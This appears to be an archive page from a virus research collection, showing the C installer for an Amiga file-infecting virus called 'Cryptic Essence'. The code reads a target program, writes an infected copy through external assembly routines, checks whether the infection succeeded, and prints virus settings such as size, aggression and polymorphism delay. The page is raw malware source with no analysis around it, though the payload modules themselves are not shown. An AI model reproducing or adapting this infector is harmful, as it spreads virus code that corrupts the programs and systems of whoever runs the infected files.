home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / CJEZUS_VIRUS / INSTALL.C < prev    next >
C/C++ Source or Header  |  1999-06-12  |  2KB  |  85 lines

  1. #include <exec/types.h>
  2. #include <exec/memory.h>
  3. #include <proto/exec.h>
  4. #include <dos/dos.h>
  5. #include <dos/dostags.h>
  6. #include <proto/dos.h>
  7. #include <stdio.h>
  8. #include <strings.h>
  9.  
  10. extern ULONG vir_size,comp_size,nocomp_size,linkspace,relochole,maxadr,agression,polywait;
  11.  
  12. __asm void debug_ce(register __a0 APTR);
  13. __asm void write_link(register __d1 BPTR fh,register __d2 APTR,register __d3 LONG,register __a6 APTR);
  14. __asm BOOL check_vir(void);
  15.  
  16. int getsize(char *name)
  17. {
  18. int r=-1;
  19. struct Lock *lock;
  20. struct FileInfoBlock *fib;
  21.  
  22.   if (fib = AllocDosObjectTags(DOS_FIB,TAG_END)) 
  23.   {
  24.     if (lock = Lock(name,ACCESS_READ)) 
  25.     {
  26.       if(Examine(lock,fib)) r = fib->fib_Size;
  27.       UnLock(lock);
  28.     }
  29.     FreeDosObject(DOS_FIB,fib);
  30.   }
  31.   return(r);
  32. }
  33.  
  34. int main (char *arg[], int argcount)
  35. {
  36. char ce[256];
  37. char *mem;
  38. int size;
  39. BPTR rfh,wfh;
  40.  
  41.   if (argcount == 2)
  42.   {
  43.     debug_ce(DOSBase);
  44.     if ( (size = getsize(arg[1])) != -1 )
  45.     {
  46.       if (mem = AllocVec(size,0))
  47.       {
  48.         if (rfh = Open(arg[1],MODE_OLDFILE))
  49.         {
  50.           Read(rfh,mem,size);
  51.           Close(rfh);
  52.         }
  53.         strcpy(ce,arg[1]);
  54.         strcat(ce,".ce");
  55.         printf("Trying to infect %s, ",ce);
  56.         if (wfh = Open(ce,MODE_NEWFILE))
  57.         {
  58.           write_link(wfh,mem,size,DOSBase);
  59.           Close(wfh);
  60.           if (check_vir()) 
  61.           {
  62.             printf("success!\n");
  63.           } else {
  64.             DeleteFile(ce);
  65.             printf("failed!\r");
  66.           }
  67.         }
  68.         FreeVec(mem);
  69.       }
  70.     }
  71.   } else {
  72.     printf("*** Cryptic Essence ***\n\n"
  73.            "virus size : %ld\n" 
  74.            "comp size  : %ld\n"
  75.            "nocomp size: %ld\n"
  76.            "reloc hole : %ld\n"
  77.            "link space : %ld\n"
  78.            "max adr    : %ld\n"
  79.            "agression  : %ld\n"
  80.            "polywait   : %ld\n",
  81.            vir_size,comp_size,nocomp_size,relochole,linkspace,maxadr,agression,polywait);
  82.   }
  83.   return(0);
  84. }
  85.